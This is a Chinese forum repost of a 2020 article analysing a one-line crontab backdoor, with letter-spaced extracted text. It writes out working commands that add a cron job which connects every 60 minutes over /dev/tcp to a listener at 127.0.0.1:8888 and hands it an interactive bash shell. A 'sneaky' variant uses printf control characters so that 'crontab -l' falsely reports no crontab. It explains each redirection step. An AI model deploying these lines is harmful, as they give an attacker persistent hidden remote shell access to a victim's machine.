搜索

[21186] 2020-08-10_crontab一句话后门分析

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-08-10_crontab一句话后门分析 c r o n t a b 一 句 话 后 门 分 析 L e m o n S e c   2 0 2 0 - 0 8 - 1 0 正 常 版 本 升 级 猥 琐 版 本 c r o n t a b   - l 直 接 提 示 n o   c r o n t a b 分 析 分 析 : e c r o n t a b 格 式   每 隔 6 0 分 钟 执 行 一 次 以 读 写 方 式 打 开 / d e v / t c p ， 并 指 定 服 务 器 名 为 : 1 2 7 . 0 . 0 . 1 ( 攻 击 机 )   端 口 号 为 : 8 8 8 8 , 指 定 描 述 符 为 9 要 注 意 的 是 ： / d e v / t c p 本 身 是 不 存 在 的 , 在 / d e v 目 录 下 是 找 不 到 的 l i n u x   三 个 基 本 文 件 描 述 符   0 : s t d i n   1 : s t d o u t   2 : s t d e r r n   > & m   表 示 使 文 件 描 述 符 n 成 为 描 述 符 m 的 副 本 e x e c   0 < & 9 ;   　 　 将 f d 9 从 定 向 到 标 准 输 入 ; e x e c   1 > & 9   2 > & 1 ;   　 　 将 标 准 输 出 从 定 向 到 文 件 f d 9 , 将 标 准 错 误 从 定 向 到 标 准 输 出 . 简 单 的 理 解 为 f d 9 = f d 0     f d 1 = f d 9   所 以 我 的 理 解 是 , f d 9 从 标 准 输 入 读 入 字 符 , 处 理 后 结 果 用 标 准 输 出 输 出 . / b i n / b a s h   - - n o p r o f i l e   - i 打 开 一 个 s h e l l 如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” ( c r o n t a b   - l ; e c h o   ' * / 6 0   *   *   *   *   e x e c   9 < >   / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 8 8 8 8 ; e x e c   0 < & 9 ; e x e c   1 > & 9   2 > & 1 ; / b i n / b a s h   - - n o p r o f i l e   - i ' ) | c r o n t a b   - ( c r o n t a b   - l ; p r i n t f   " * / 6 0   *   *   *   *   e x e c   9 < >   / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 8 8 8 8 ; e x e c   0 < & 9 ; e x e c   1 > & 9   2 > & 1 ; / b i n / b a s h   - - n o p r o f i l e   - i ; r n o   c r o n t a b   f o r   ` w h o a m i ` % 1 0 0 c n " ) | c r o n t a b   - c h o   ' * / 6 0   *   *   *   * ' e x e c   9 < > / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 8 8 8 8 e x e c   0 < & 9 ; e x e c   1 > & 9   2 > & 1 ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理